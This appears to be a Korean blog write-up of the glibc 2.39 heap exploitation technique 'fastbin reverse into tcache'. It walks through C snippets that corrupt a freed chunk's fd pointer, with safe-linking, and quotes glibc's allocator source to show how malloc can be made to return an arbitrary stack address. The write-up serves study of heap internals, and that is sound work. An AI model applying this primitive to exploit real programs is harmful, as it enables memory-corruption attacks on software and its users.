[Exploit Tech Analysis][Heap] Fastbin Reverse into Tcache
fastbin에 있는 청크들을 tcache로 옮겨 fastbin에서 할당 시 일어나는 검사들을 우회할 수 있는 기법이다. 우선 원하는 사이즈의 청크를 대량으로 할당 후 7개 해제해 tcache를 채운다.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
for (i = 0; i < 7; i++) free(ptrs[i]);
이 시점에서 bin의 모습은 다음과 같다.

다음으로 우리가 조작할 청크를 해제하고, 나머지 청크도 해제한다. 이때 우리가 조작할 청크는 fastbin에 들어간다는 사실을 기억해야 한다.
char* victim = ptrs[7];
for (i = 8; i < 14; i++) free(ptrs[i]);
이때 bin의 모습은 다음과 같다.

여기서 우리가 조작할 청크는 fastbin의 마지막에 연결되어 있는 0x4054c0
이다. (fastbin은 FIFO를 따른다는 점을 기억하자.) 이 청크의 fd를 조작하면 다음과 같아진다1.
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));

이제 tcache를 비운다.
for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);

이 상태에서 같은 크기의 청크를 한 번 더 할당하면, fastbin에서 하나의 청크가 빠지게 된다. 이때 다음과 같은 코드가 실행되며 fastbin에 들어 있던 청크들이 tcache로 들어오게 된다.
// Def. in /malloc/malloc.c, in function _int_malloc(), line 2944 (@glibc-2.39)
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
이때 fastbin에서 청크를 하나씩 꺼내 tcache에 넣기 때문에 순서가 거꾸로 바뀌게 되고, 결과적으로 0x4056a0
청크가 malloc()
된 후 bin의 모습은 다음과 같아진다.

마지막으로 같은 크기의 청크를 하나 더 할당하면 우리가 원하는 주소가 할당되게 된다.
Reference
- https://github.com/shellphish/how2heap/blob/master/glibc_2.39/fastbin_reverse_into_tcache.c
-
alignment와 safe linking 모두 고려해야 한다 ↩
Leave a comment